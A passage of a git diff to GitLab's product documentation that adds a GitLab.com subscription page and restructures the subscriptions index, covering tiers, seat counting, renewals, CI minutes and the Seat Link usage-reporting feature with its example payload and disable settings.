use GitLab.com, you only need to +[sign up](https://gitlab.com/users/sign_up) and start using GitLab straight away. + +In this page we'll go through the details of your GitLab.com subscription. + +## Choose a GitLab.com group or personal subscription + +On GitLab.com you can apply a subscription to either a group or a personal namespace. + +When applied to: + +- A **group**, the group, all subgroups, and all projects under the selected + group on GitLab.com will have the features of the associated tier. GitLab recommends + choosing a group plan when managing an organization's projects and users. +- A **personal userspace**, all projects will have features with the + subscription applied, but as it's not a group, group features won't be available. + +## Choose a GitLab.com tier + +Pricing is [tier-based](https://about.gitlab.com/pricing/), allowing you to choose +the features which fit your budget. For information on what features are available +at each tier, see the +[GitLab.com feature comparison](https://about.gitlab.com/pricing/gitlab-com/feature-comparison/). + +## Choose the number of users + +NOTE: **Note:** +Applied only to groups. + +A GitLab.com subscription uses a concurrent (_seat_) model. You pay for a +subscription according to the maximum number of users enabled at once. You can +add and remove users during the subscription period, as long as the total users +at any given time is within your subscription count. + +Every occupied seat, whether by person, job, or bot is counted in the subscription, +with the following exception: + +- Members with Guest permissions on a Gold subscription. + +TIP: **Tip:** +To support the open source community and encourage the development of open +source projects, GitLab grants access to **Gold** features for all GitLab.com +**public** projects, regardless of the subscription. + +## Obtain a GitLab.com subscription + +To subscribe to GitLab.com: + +- **For individuals**: + 1. Create a user account for yourself using our + [sign up page](https://gitlab.com/users/sign_in#register-pane). + 1. Visit the [billing page](https://gitlab.com/profile/billings) + under your profile. + 1. Select the **Bronze**, **Silver**, or **Gold** GitLab.com plan through the + [Customers Portal](https://customers.gitlab.com/). + 1. Link your GitLab.com account with your Customers Portal account. + Once a plan has been selected, if your account is not + already linked, you will be prompted to link your account with a + **Sign in to GitLab.com** button. + 1. Select the namespace from the drop-down list to associate the subscription. + 1. Proceed to checkout. +- **For groups**: + 1. Create a user account for yourself using our + [sign up page](https://gitlab.com/users/sign_in#register-pane). + 1. Create a [group](../../user/group/index.md). GitLab groups help assemble related + projects together allowing you to grant members access to several projects + at once. A group is not required if you plan on having projects inside a personal + namespace. + 1. Create additional users and + [add them to the group](../../user/group/index.md#add-users-to-a-group). + 1. Select the **Bronze**, **Silver**, or **Gold** GitLab.com plan through the + [Customers Portal](https://customers.gitlab.com/). + 1. Link your GitLab.com account with your Customers Portal account. + Once a plan has been selected, if your account is not + already linked, you will be prompted to link your account with a + **Sign in to GitLab.com** button. + 1. Select the namespace from the drop-down list to associate the subscription. + 1. Proceed to checkout. + +TIP: **Tip:** +You can also go to the [**My Account**](https://customers.gitlab.com/customers/edit) +page to add or change the GitLab.com account link. + +## View your GitLab.com subscription + +To see the status of your GitLab.com subscription, log in to GitLab.com and go +to the **Billing** section of the relevant namespace: + +- **For individuals**: Visit the [billing page](https://gitlab.com/profile/billings) + under your profile. +- **For groups**: From the group page (*not* from a project within the group), go to **Settings > Billing**. + + NOTE: **Note:** + You must have Owner level [permissions](../../user/permissions.md) to view a group's billing page. + + The following table describes details of your subscription for groups: + + | Field | Description | + |-------------------------|-----------------------------------------------------------------------------------------------------------------------------------------| + | **Seats in subscription** | If this is a paid plan, represents the number of seats you've paid to support in your group. | + | **Seats currently in use** | Number of active seats currently in use. | + | **Max seats used** | Highest number of seats you've used. If this exceeds the seats in subscription, you may owe an additional fee for the additional users. | + | **Seats owed** | If your maximum seats used exceeds the seats in your subscription, you'll owe an additional fee for the users you've added. | + | **Subscription start date** | Date your subscription started. If this is for a Free plan, is the date you transitioned off your group's paid plan. | + | **Subscription end date** | Date your current subscription will end. Does not apply to Free plans. | + +## Renew your GitLab.com subscription + +To renew your subscription: + +1. [Prepare for renewal by reviewing your account](#prepare-for-renewal-by-reviewing-your-account) +1. [Renew your GitLab.com subscription](#renew-or-change-a-gitlabcom-subscription) + +### Prepare for renewal by reviewing your account + +The [Customers Portal](https://customers.gitlab.com/customers/sign_in) is your +tool for renewing and modifying your subscription. Before going ahead with renewal, +log in and verify or update: + +- The invoice contact details on the **Account details** page. +- The credit card on file on the **Payment Methods** page. + +TIP: **Tip:** +Contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) +if you need assistance accessing the Customers Portal or if you need to change +the contact person who manages your subscription. + +It's important to regularly review your user accounts, because: + +- A GitLab subscription is based on the number of users. You will pay more than + you should if you renew for too many users, while the renewal will fail if you + attempt to renew a subscription for too few users. +- Stale user accounts can be a security risk. A regular review helps reduce this risk. + +#### Users over License + +A GitLab subscription is valid for a specific number of users. For details, see +[Choose the number of users](#choose-the-number-of-users). + +If the active user count exceeds the number included in the subscription, known +as the number of _users over license_, you must pay for the excess number of +users either before renewal, or at the time of renewal. This is also known the +_true up_ process. + +There is no self-service option for purchasing additional seats. You must +request a quotation from GitLab Sales. To do so, contact GitLab via our +[support form](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293). + +The amount charged per seat is calculated by one of the following methods: + +- If paid before renewal, the amount per seat is calculated on a prorated basis. + For example, if the user was added 3 months before the end of the subscription + period, the amount owing is calculated as: (3 / 12) x annual fee. +- If paid on renewal, the amount per seat is the standard annual fee. + +### Renew or change a GitLab.com subscription + +NOTE: **Note:** +To renew for more users than are currently active in your GitLab.com plan, +contact our sales team via `renewals@gitlab.com` for assistance as this can't be +done in the Customers Portal. + +For details on upgrading your subscription tier, see +[Upgrade your GitLab.com subscription tier](#upgrade-your-gitlabcom-subscription-tier). + +#### Automatic renewal + +To view or change automatic subscription renewal (at the same tier as the +previous period), log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in), and: + +- If you see a **Resume subscription** button, your subscription was canceled + previously. Click it to resume automatic renewal. +- If you see **Cancel subscription**, your subscription is set to automatically + renew at the end of the subscription period. Click it to cancel automatic renewal. + +With automatic renewal enabled, the subscription will automatically renew on the +expiration date and there will be no gap in available service. An invoice will be +generated for the renewal and available for viewing or download in the +[View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty +during the renewal process, contact our +[support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance. + +## Upgrade your GitLab.com subscription tier + +To upgrade your [GitLab tier](https://about.gitlab.com/pricing/): + +1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in). +1. Select the **Upgrade** button on the relevant subscription card on the [Manage purchases](https://customers.gitlab.com/subscriptions) page. +1. Select the desired upgrade. +1. Confirm the active form of payment, or add a new form of payment. +1. Check the **I accept the Privacy Policy and Terms of Service** checkbox. +1. Select **Confirm purchase**. + +When the purchase has been processed, you receive confirmation of your new subscription tier. + +## Subscription expiry + +When your subscription or trial expires, GitLab does not delete your data, but +it may become inaccessible, depending on the tier at expiry. Some features may not +behave as expected if you're not prepared for the expiry. For example, +[environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759). + +If you renew or upgrade, your data will again be accessible. + +## CI pipeline minutes + +CI pipeline minutes are the execution time for your +[pipelines](../../ci/pipelines/index.md) on GitLab's shared runners. Each +[GitLab.com tier](https://about.gitlab.com/pricing/) includes a monthly quota +of CI pipeline minutes: + +- Free: 400 minutes +- Bronze: 2,000 minutes +- Silver: 10,000 minutes +- Gold: 50,000 minutes + +Quotas apply to: + +- Groups, where the minutes are shared across all members of the group, its + subgroups, and nested projects. To view the group's usage, navigate to the group, + then **Settings > Usage Quotas**. +- Your personal account, where the minutes are available for your personal projects. + To view and buy personal minutes, click your avatar, then + **Settings > [Usage Quotas](https://gitlab.com/profile/usage_quotas#pipelines-quota-tab)**. + +Only pipeline minutes for GitLab shared runners are restricted. If you have a +specific runner set up for your projects, there is no limit to your build time on GitLab.com. + +The available quota is reset on the first of each calendar month at midnight UTC. + +When the CI minutes are depleted, an email is sent automatically to notify the owner(s) +of the namespace. You can [purchase additional CI minutes](#purchase-additional-ci-minutes), +or upgrade your account to [Silver or Gold](https://about.gitlab.com/pricing/). +Your own runners can still be used even if you reach your limits. + +### Purchase additional CI minutes + +If you're using GitLab.com, you can purchase additional CI minutes so your +pipelines won't be blocked after you have used all your CI minutes from your +main quota. You can find pricing for additional CI/CD minutes in the +[GitLab Customers Portal](https://customers.gitlab.com/plans). Additional minutes: + +- Are only used once the shared quota included in your subscription runs out. +- Roll over month to month. + +To purchase additional minutes for your group on GitLab.com: + +1. From your group, go to **Settings > Usage Quotas**. +1. Select **Buy additional minutes** and you will be directed to the Customers Portal. +1. Locate the subscription card that's linked to your group on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction. +1. Once we have processed your payment, the extra CI minutes will be synced to your group namespace. +1. To confirm the available CI minutes, go to your group, then **Settings > Usage Quotas**. + + The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month. + +To purchase additional minutes for your personal namespace: + +1. Click your avatar, then go to **Settings > Usage Quotas**. +1. Select **Buy additional minutes** and you will be directed to the Customers Portal. +1. Locate the subscription card that's linked to your personal namespace on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction. Once we have processed your payment, the extra CI minutes will be synced to your personal namespace. +1. To confirm the available CI minutes for your personal projects, click your avatar, then go to **Settings > Usage Quotas**. + + The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month. + +Be aware that: + +- If you have purchased extra CI minutes before the purchase of a paid plan, + we will calculate a pro-rated charge for your paid plan. That means you may + be charged for less than one year since your subscription was previously + created with the extra CI minutes. +- Once the extra CI minutes have been assigned to a Group, they can't be transferred + to a different Group. +- If you have used more minutes than your default quota, these minutes will + be deducted from your Additional Minutes quota immediately after your purchase of additional + minutes. + +## Customers portal + +GitLab provides a [customer portal](../index.md#customers-portal) where you can +manage your subscriptions and your account details. + +## Contact Support + +Learn more about: + +- The tiers of [GitLab Support](https://about.gitlab.com/support/). +- [Submit a request via the Support Portal](https://support.gitlab.com/hc/en-us/requests/new). + +We also encourage all users to search our project trackers for known issues and +existing feature requests in the [GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/) project. + +These issues are the best avenue for getting updates on specific product plans +and for communicating directly with the relevant GitLab team members. + +## Troubleshooting + +### Credit card declined + +If your credit card is declined when purchasing a GitLab subscription, possible reasons include: + +- The credit card details provided are incorrect. +- The credit card account has insufficient funds. +- You are using a virtual credit card and it has insufficient funds, or has expired. +- The transaction exceeds the credit limit. +- The transaction exceeds the credit card's maximum transaction amount. + +Check with your financial institution to confirm if any of these reasons apply. If they don't +apply, contact [GitLab Support](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293). diff --git a/doc/subscriptions/index.md b/doc/subscriptions/index.md index 35559c9b970..bc58c9e899d 100644 --- a/doc/subscriptions/index.md +++ b/doc/subscriptions/index.md @@ -2,144 +2,70 @@ type: index, reference --- -# GitLab subscription +# GitLab subscription **(STARTER)** -GitLab offers tiers of features. Your subscription determines which tier you have access to. Subscriptions are valid for 12 months. +GitLab offers tiers of features. Your subscription determines which tier you +have access to. Subscriptions are valid for 12 months. -GitLab provides special subscriptions to participants in the [GitLab Education Program](https://about.gitlab.com/solutions/education/) and [GitLab Open Source Program](https://about.gitlab.com/solutions/open-source/). For details on obtaining and renewing these subscriptions, see: +GitLab provides special subscriptions to participants in: -- [GitLab for Education subscriptions](#gitlab-for-education-subscriptions) -- [GitLab for Open Source subscriptions](#gitlab-for-open-source-subscriptions) +- [Education](#gitlab-for-education-subscriptions) +- [Open Source](#gitlab-for-open-source-subscriptions) -## Choosing a GitLab subscription +## Choose a GitLab subscription -When choosing a subscription, consider the following factors: +When choosing a subscription, there are two factors to consider: -- [GitLab tier](#choosing-a-gitlab-tier) -- [GitLab.com or self-managed](#choosing-between-gitlabcom-or-self-managed) -- [Group or personal subscription (GitLab.com only)](#choosing-a-gitlabcom-group-or-personal-subscription) -- [Number of users](#choosing-the-number-of-users) +- [GitLab.com or self-managed](#choose-between-gitlabcom-or-self-managed) +- [GitLab tier](#choose-a-gitlab-tier) -### Choosing a GitLab tier +### Choose between GitLab.com or self-managed -Pricing is [tier-based](https://about.gitlab.com/pricing/), allowing you to choose the features which fit your budget. See the [GitLab.com feature comparison](https://about.gitlab.com/pricing/gitlab-com/feature-comparison/) and the [self-managed feature comparison](https://about.gitlab.com/pricing/self-managed/feature-comparison/) for information on what features are available at each tier for each product. +There are some differences in how a subscription applies, depending if you use +GitLab.com or a self-managed instance: -### Choosing between GitLab.com or self-managed +- [GitLab.com](gitlab_com/index.md): GitLab's software-as-a-service offering. + You don't need to install anything to use GitLab.com, you only need to + [sign up](https://gitlab.com/users/sign_up) and start using GitLab straight away. +- [GitLab self-managed](self_managed/index.md): Install, administer, and maintain + your own GitLab instance. -There are some differences in how a subscription applies, depending if you use GitLab.com or a self-managed instance. - -- [GitLab.com](#gitlabcom): GitLab's software-as-a-service offering. You don't need to install anything to use GitLab.com, you only need to [sign up](https://gitlab.com/users/sign_up) and start using GitLab straight away. -- [GitLab self-managed](#self-managed): Install, administer, and maintain your own GitLab instance. - -On a self-managed instance, a GitLab subscription provides the same set of features for all users. On GitLab.com you can apply a subscription to either a group or a personal namespace. - -NOTE: **Note:** -Subscriptions cannot be transferred between GitLab.com and GitLab self-managed. A new subscription must be purchased and applied as needed. - -### Choosing a GitLab.com group or personal subscription - -On GitLab.com you can apply a subscription to either a group or a personal namespace. - -When applied to: - -- A **group**, the group, all subgroups, and all projects under the selected - group on GitLab.com will have the features of the associated tier. GitLab recommends - choosing a group plan when managing an organization's projects and users. -- A **personal userspace** instead, all projects will have features with the - subscription applied, but as it's not a group, group features won't be available. - -### Choosing the number of users - -There are some differences between who is counted in a subscription, depending if you use GitLab.com or a self-managed instance. - -#### GitLab.com - -A GitLab.com subscription uses a concurrent (_seat_) model. You pay for a subscription according to the maximum number of users enabled at once. You can add and remove users during the subscription period, as long as the total users at any given time is within your subscription count. - -Every occupied seat, whether by person, job, or bot is counted in the subscription, with the following exception: - -- Members with Guest permissions on a Gold subscription. - -TIP: **Tip:** -To support the open source community and encourage the development of open -source projects, GitLab grants access to **Gold** features for all GitLab.com -**public** projects, regardless of the subscription. - -#### Self-managed - -A self-managed subscription uses a hybrid model. You pay for a subscription according to the maximum number of users enabled during the subscription period. For instances that aren't offline or on a closed network, the maximum number of simultaneous users in the self-managed installation is checked each quarter, using [Seat Link](#seat-link). - -Every occupied seat, whether by person, job, or bot is counted in the subscription, with the following exceptions: - -- [Deactivated](../user/admin_area/activating_deactivating_users.md#deactivating-a-user) and -[blocked](../user/admin_area/blocking_unblocking_users.md) users who are restricted prior to the -renewal of a subscription won't be counted as active users for the renewal subscription. They may -count as active users in the subscription period in which they were originally added. -- Members with Guest permissions on an Ultimate subscription. -- GitLab-created service accounts: `Ghost User`, `Support Bot` and [`Project bot users`](../user/project/settings/project_access_tokens.md#project-bot-users). - -##### Users statistics - -To view a breakdown of the users within your instance, including active, billable, and blocked, go to **Admin Area > Overview > Dashboard** and select **Users statistics** in the **Users** section. -For more details, see [Users statistics](../user/admin_area/index.md#users-statistics). +On a self-managed instance, a GitLab subscription provides the same set of +features for _all_ users. On GitLab.com, you can apply a subscription to either +a group or a personal namespace. NOTE: **Note:** -If you have LDAP integration enabled, anyone in the configured domain can sign up for a GitLab account. This can result in an unexpected bill at time of renewal. Consider [disabling new signups](../user/admin_area/settings/sign_up_restrictions.md) and managing new users manually instead. - -## Obtain a GitLab subscription - -### Subscribe to GitLab.com - -To subscribe to GitLab.com: +Subscriptions cannot be transferred between GitLab.com and GitLab self-managed. +A new subscription must be purchased and applied as needed. -1. Create a user account for yourself using our - [sign up page](https://gitlab.com/users/sign_in#register-pane). -1. Create a [group](../user/group/index.md). GitLab groups help assemble related - projects together allowing you to grant members access to several projects - at once. A group is not required if you plan on having projects inside a personal - namespace. -1. Create additional users and - [add them to the group](../user/group/index.md#add-users-to-a-group). -1. Select the **Bronze**, **Silver**, or **Gold** GitLab.com plan through the - [Customers Portal](https://customers.gitlab.com/). -1. Link your GitLab.com account with your Customers Portal account. - Once a plan has been selected, if your account is not - already linked, you will be prompted to link your account with a - **Sign in to GitLab.com** button. -1. Select the namespace from the drop-down list to associate the subscription. -1. Proceed to checkout. +### Choose a GitLab tier -TIP: **Tip:** -You can also go to the [**My Account**](https://customers.gitlab.com/customers/edit) -page to add or change the GitLab.com account link. +Pricing is [tier-based](https://about.gitlab.com/pricing/), allowing you to choose +the features which fit your budget. For information on what features are available +at each tier for each product, see: -### Subscribe through GitLab self-managed +- [GitLab.com feature comparison](https://about.gitlab.com/pricing/gitlab-com/feature-comparison/) +- [Self-managed feature comparison](https://about.gitlab.com/pricing/self-managed/feature-comparison/) -To subscribe to GitLab through a self-managed installation: +## Find your subscription -1. Go to the [Customers Portal](https://customers.gitlab.com/) and purchase a **Starter**, **Premium**, or **Ultimate** self-managed plan. -1. After purchase, a license file is sent to the email address associated to the Customers Portal account, - which must be [uploaded to your GitLab instance](../user/admin_area/license.md#uploading-your-license). +The following chart should help you determine your subscription model. Click +on the list item to go to the respective help page. -TIP: **Tip:** -If you're purchasing a subscription for an existing **Core** self-managed -instance, ensure you're purchasing enough seats to -[cover your users](../user/admin_area/index.md#administering-users). +```mermaid +graph TD -### Credit card declined +A(Is your user account on GitLab.com?) +A --> B(Yes) +A --> C(No) +B --> D(fa:fa-link View your subscription on GitLab.com) +C --> E(fa:fa-link View your self-hosted subscription) -If your credit card is declined when purchasing a GitLab subscription, possible reasons include: - -- The credit card details provided are incorrect. -- The credit card account has insufficient funds. -- You are using a virtual credit card and it has insufficient funds, or has expired. -- The transaction exceeds the credit limit. -- The transaction exceeds the credit card's maximum transaction amount. - -Check with your financial institution to confirm if any of these reasons apply. If they don't -apply, contact [GitLab Support](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293). +click D "./gitlab_com/index.html#view-your-gitlabcom-subscription" +click E "./self_managed/index.html#view-your-subscription" +``` -## Manage your GitLab account +## Customers portal With the [Customers Portal](https://customers.gitlab.com/) you can: @@ -234,379 +160,33 @@ To change the password for this customers portal account: 1. Make the required changes to the **Your password** section. 1. Click **Save changes**. -## View your subscription - -You can view details of your subscription in either GitLab.com or your self-managed instance: - -- [View your GitLab.com subscription](#view-your-gitlabcom-subscription) -- [View your self-managed subscription](#view-your-self-managed-subscription) - -### View your GitLab.com subscription - -To see the status of your GitLab.com subscription, log in to GitLab.com and go to the **Billing** section of the relevant namespace: - -- For individuals: - 1. Go to **User Avatar > Settings**. - 1. Click **Billing**. -- For groups: - 1. From the group page (*not* from a project within the group), go to **Settings > Billing**. - You must have Owner level permission to view a group's billing page. - -The following table describes details of your subscription for groups: - -| Field | Description | -|-------------------------|-----------------------------------------------------------------------------------------------------------------------------------------| -| **Seats in subscription** | If this is a paid plan, represents the number of seats you've paid to support in your group. | -| **Seats currently in use** | Number of active seats currently in use. | -| **Max seats used** | Highest number of seats you've used. If this exceeds the seats in subscription, you may owe an additional fee for the additional users. | -| **Seats owed** | If your maximum seats used exceeds the seats in your subscription, you'll owe an additional fee for the users you've added. | -| **Subscription start date** | Date your subscription started. If this is for a Free plan, is the date you transitioned off your group's paid plan. | -| **Subscription end date** | Date your current subscription will end. Does not apply to Free plans. | - -### View your self-managed subscription - -To view the status of your self-managed subscription, log in to the self-managed instance and go to the **License** page. - - 1. Go to **Admin Area**. - 1. From the left-hand menu, select **License**. - -## Renew your subscription - -To renew your subscription, [prepare for renewal by reviewing your account](#prepare-for-renewal-by-reviewing-your-account), then do one of the following: - -- [Renew a GitLab.com subscription](#renew-or-change-a-gitlabcom-subscription). -- [Renew a self-managed subscription](#renew-a-self-managed-subscription). - -### Prepare for renewal by reviewing your account - -The [Customers Portal](https://customers.gitlab.com/customers/sign_in) is your tool for renewing and modifying your subscription. Before going ahead with renewal, log in and verify or update: - -- The invoice contact details on the **Account details** page. -- The credit card on file on the **Payment Methods** page. - -TIP: **Tip:** -Contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) if you need assistance accessing the Customers Portal or if you need to change the contact person who manages your subscription. - -It's important to regularly review your user accounts, because: - -- A GitLab subscription is based on the number of users. You will pay more than you should if you renew for too many users, while the renewal will fail if you attempt to renew a subscription for too few users. -- Stale user accounts can be a security risk. A regular review helps reduce this risk. - -#### Users over License - -A GitLab subscription is valid for a specific number of users. For details, see [Choose the number of users](#choosing-the-number-of-users). If the active user count exceeds the number included in the subscription, known as the number of _users over license_, you must pay for the excess number of users either before renewal, or at the time of renewal. This is also known the _true up_ process. - -##### Purchase additional seats for GitLab.com - -There is no self-service option for purchasing additional seats. You must request a quotation from GitLab Sales. To do so, contact GitLab via our [support form](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293). - -The amount charged per seat is calculated by one of the following methods: - -- If paid before renewal, the amount per seat is calculated on a prorated basis. For example, if the user was added 3 months before the end of the subscription period, the amount owing is calculated as: (3 / 12) x annual fee. -- If paid on renewal, the amount per seat is the standard annual fee. - -##### Purchase additional users for self-managed - -Self-managed instances can add users to a subscription any time during the subscription period. The cost of additional users added during the subscription period is prorated from the date of purchase through the end of the subscription period. - -To add users to a subscription: - -1. Log in to the [Customers Portal](https://customers.gitlab.com/). -1. Navigate to the **Manage Purchases** page. -1. Select **Add more seats** on the relevant subscription card. -1. Enter the number of additional users. -1. Select **Proceed to checkout**. -1. Review the **Subscription Upgrade Detail**. The system lists the total price for all users on the system and a credit for what you've already paid. You will only be charged for the net change. -1. Select **Confirm Upgrade**. - -The following will be emailed to you: - -- A payment receipt. You can also access this information in the Customers Portal under [**View invoices**](https://customers.gitlab.com/receipts). -- A new license. [Upload this license](../user/admin_area/license.md#uploading-your-license) to your instance to use it. - -### Seat Link - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208832) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.9. - -Seat Link allows us to provide our self-managed customers with prorated charges for user growth throughout the year using a quarterly reconciliation process. - -Seat Link daily sends a count of all users in connected self-managed instances to GitLab. That information is used to automate prorated reconciliations. The data is sent securely through an encrypted HTTPS connection. - -Seat Link provides **only** the following information to GitLab: - -- Date -- License key -- Historical maximum user count -- Active users count - -For offline or closed network customers, the existing [true-up model](#users-over-license) will be used. Prorated charges are not possible without user count data. - -<details> -<summary>Click here to view example content of a Seat Link POST request.</summary> - -<pre><code> -{ - date: '2020-01-29', - license_key: 'ZXlKa1lYUmhJam9pWm5WNmVsTjVZekZ2YTJoV2NucDBh -RXRxTTA5amQxcG1VMVZqDQpXR3RwZEc5SGIyMVhibmxuZDJ0NWFrNXJTVzVH -UzFCT1hHNVRiVFIyT0ZaUFlVSm1OV1ZGV0VObE1uVk4NCk4xY3ZkM1F4Y2to -MFFuVklXSFJvUWpSM01VdE9SVE5rYkVjclZrdDJORkpOTlhka01qaE5aalpj -YmxSMg0KWVd3MFNFTldTRmRtV1ZGSGRDOUhPR05oUVZvNUsxVnRXRUZIZFU1 -U1VqUm5aVFZGZUdwTWIxbDFZV1EyDQphV1JTY1V4c1ZYSjNPVGhrYVZ4dVlu -TkpWMHRJZUU5dmF6ZEJRVVkxTlVWdFUwMTNSMGRHWm5SNlJFcFYNClQyVkJl -VXc0UzA0NWFFb3ZlSFJrZW0xbVRqUlZabkZ4U1hWcWNXRnZYRzVaTm5GSmVW -UnJVR1JQYTJKdA0KU0ZZclRHTmFPRTVhZEVKMUt6UjRkSE15WkRCT1UyNWlS -MGRJZDFCdmRFWk5Za2h4Tm5sT1VsSktlVlYyDQpXRmhjYmxSeU4wRnRNMU5q -THpCVWFGTmpTMnh3UWpOWVkyc3pkbXBST1dnelZHY3hUV3hxVDIwdlZYRlQN -Ck9EWTJSVWx4WlVOT01EQXhVRlZ3ZGs1Rk0xeHVSVEJTTDFkMWJUQTVhV1ZK -WjBORFdWUktaRXNyVnpsTw0KTldkWWQwWTNZa05VWlZBMmRUVk9kVUpxT1hV -Mk5VdDFTUzk0TUU5V05XbFJhWGh0WEc1cVkyWnhaeTlXDQpTMEpyZWt0cmVY -bzBOVGhFVG1oU1oxSm5WRFprY0Uwck0wZEdhVUpEV1d4a1RXZFRjVU5tYTB0 -a2RteEQNCmNWTlFSbFpuWlZWY2JpdFVVbXhIV0d4MFRuUnRWbkJKTkhwSFJt -TnRaMGsyV0U1MFFUUXJWMUJVTWtOSA0KTVhKUWVGTkxPVTkzV1VsMlVUUldk -R3hNTWswNU1USlNjRnh1U1UxTGJTdHRRM1l5YTFWaWJtSlBTMkUxDQplRkpL -SzJSckszaG1hVXB1ZVRWT1UwdHZXV0ZOVG1WamMyVjRPV0pSUlZkUU9UUnpU -VWh2Wlc5cFhHNUgNClNtRkdVMDUyY1RGMWNGTnhVbU5JUkZkeGVWcHVRMnBh -VTBSUGR6VnRNVGhvWTFBM00zVkZlVzFOU0djMA0KY1ZFM1FWSlplSFZ5UzFS -aGIxTmNia3BSUFQxY2JpSXNJbxRsZVNJNkltZFhiVzFGVkRZNWNFWndiV2Rt -DQpNWEIyY21SbFFrdFNZamxaYURCdVVHcHhiRlV3Tm1WQ2JGSlFaSFJ3Y0Rs -cFMybGhSMnRPTkZOMWNVNU0NClVGeHVTa3N6TUUxcldVOTVWREl6WVVWdk5U -ZGhWM1ZvVjJkSFRtZFBZVXRJTkVGcE55dE1NRE5dWnpWeQ0KWlV0aWJsVk9T -RmRzVVROUGRHVXdWR3hEWEc1MWjWaEtRMGQ2YTAxWFpUZHJURTVET0doV00w -ODRWM0V2DQphV2M1YWs5cWFFWk9aR3BYTm1aVmJXNUNaazlXVUVRMWRrMXpj -bTFDV0V4dldtRmNibFpTTWpWU05VeFMNClEwTjRNMWxWCUtSVGEzTTJaV2xE -V0hKTFRGQmpURXRsZFVaQlNtRnJTbkpPZGtKdlUyUmlNVWxNWWpKaQ0KT0dw -c05YbE1kVnh1YzFWbk5VZDFhbU56ZUM5Tk16TXZUakZOVW05cVpsVTNObEo0 -TjJ4eVlVUkdkWEJtDQpkSHByYWpreVJrcG9UVlo0Y0hKSU9URndiV2RzVFdO -VlhHNXRhVmszTkV0SVEzcEpNMWRyZEVoRU4ydHINCmRIRnFRVTlCVUVVM1pV -SlRORE4xUjFaYVJGb3JlWGM5UFZ4dUlpd2lhWFlpt2lKV00yRnNVbk5RTjJk -Sg0KU1hNMGExaE9SVGR2V2pKQlBUMWNiaUo5DQo=', - max_historical_user_count: 10, - active_users: 6 -} -</code></pre> - -</details> - -You can view the exact JSON payload in the administration panel. To view the payload: - -1. Navigate to **Admin Area > Settings > Metrics and profiling** and expand **Seat Link**. -1. Click **Preview payload**. - -#### Disable Seat Link - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/212375) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.10. - -Seat Link is enabled by default. - -To disable this feature, go to **Admin Area > Settings > Metrics and profiling**, uncheck the **Enable Seat Link** checkbox > **Save changes**. - -To disable Seat Link in an Omnibus GitLab installation, and prevent it from -being configured in the future through the administration panel, set the following in -[`gitlab.rb`](https://docs.gitlab.com/omnibus/settings/configuration.html#configuration-options): - -```ruby -gitlab_rails['seat_link_enabled'] = false -``` - -To disable Seat Link in a GitLab source installation, and prevent it from -being configured in the future through the administration panel, -set the following in `gitlab.yml`: - -```yaml -production: &base - # ... - gitlab: - # ... - seat_link_enabled: false -``` - -### Renew or change a GitLab.com subscription - -To renew for more users than are currently active in your GitLab.com system, contact our sales team via `renewals@gitlab.com` for assistance as this can't be done in the Customers Portal. - -For details on upgrading your subscription tier, see [Upgrade your GitLab.com subscription tier](#upgrade-your-gitlabcom-subscription-tier). - -#### Automatic renewal - -To view or change automatic subscription renewal (at the same tier as the previous period), log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in), and: - -- If you see a **Resume subscription** button, your subscription was canceled previously. Click it to resume automatic renewal. -- If you see **Cancel subscription**, your subscription is set to automatically renew at the end of the subscription period. Click it to cancel automatic renewal. - -With automatic renewal enabled, the subscription will automatically renew on the expiration date and there will be no gap in available service. -An invoice will be generated for the renewal and available for viewing or download in the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance. - -### Renew a self-managed subscription - -Starting 30 days before a subscription expires, GitLab notifies administrators of the date of expiry with a banner in the GitLab user interface. - -We recommend following these steps during renewal: - -1. Prune any inactive or unwanted users by [blocking them](../user/admin_area/blocking_unblocking_users.md#blocking-a-user). -1. Determine if you have a need for user growth in the upcoming subscription. -1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in) and select the **Renew** button beneath your existing subscription. - - TIP: **Tip:** - If you need to change your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team via `renewals@gitlab.com` for assistance as this can't be done in the Customers Portal. - -1. In the first box, enter the total number of user licenses you’ll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of active users in the system at the time of performing the renewal. -1. Enter the number of [users over license](#users-over-license) in the second box for the user overage incurred in your previous subscription term. - - TIP: **Tip:** - You can find the _users over license_ in your instance's **Admin** dashboard by clicking on the **Admin Area** in the top bar, or going to `/admin`. - - The following table describes details of your admin dashboard and renewal terms: - - | Field | Description | - |:------|:------------| - | Users in License | The number of users you've paid for in the current license loaded on the system. This does not include the amount you've paid for `Users over license` during renewal. | - | Active users | The number of current active users on your system. | - | Maximum users | The highest number of active users on your system during the term of the loaded license. If this number exceeds your users in license count at any point, you incur users over license. | - | Users over license | The number of users that exceed the `Users in License` for the current license term. Charges for this number of users will be incurred at the next renewal. | - -1. Review your renewal details and complete the payment process. -1. A license for the renewal term will be available for download on the [Manage Purchases](https://customers.gitlab.com/subscriptions) page on the relevant subscription card. Select **Copy license to clipboard** or **Download license** to get a copy. -1. [Upload](../user/admin_area/license.md#uploading-your-license) your new license to your instance. - -An invoice will be generated for the renewal and available for viewing or download on the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our 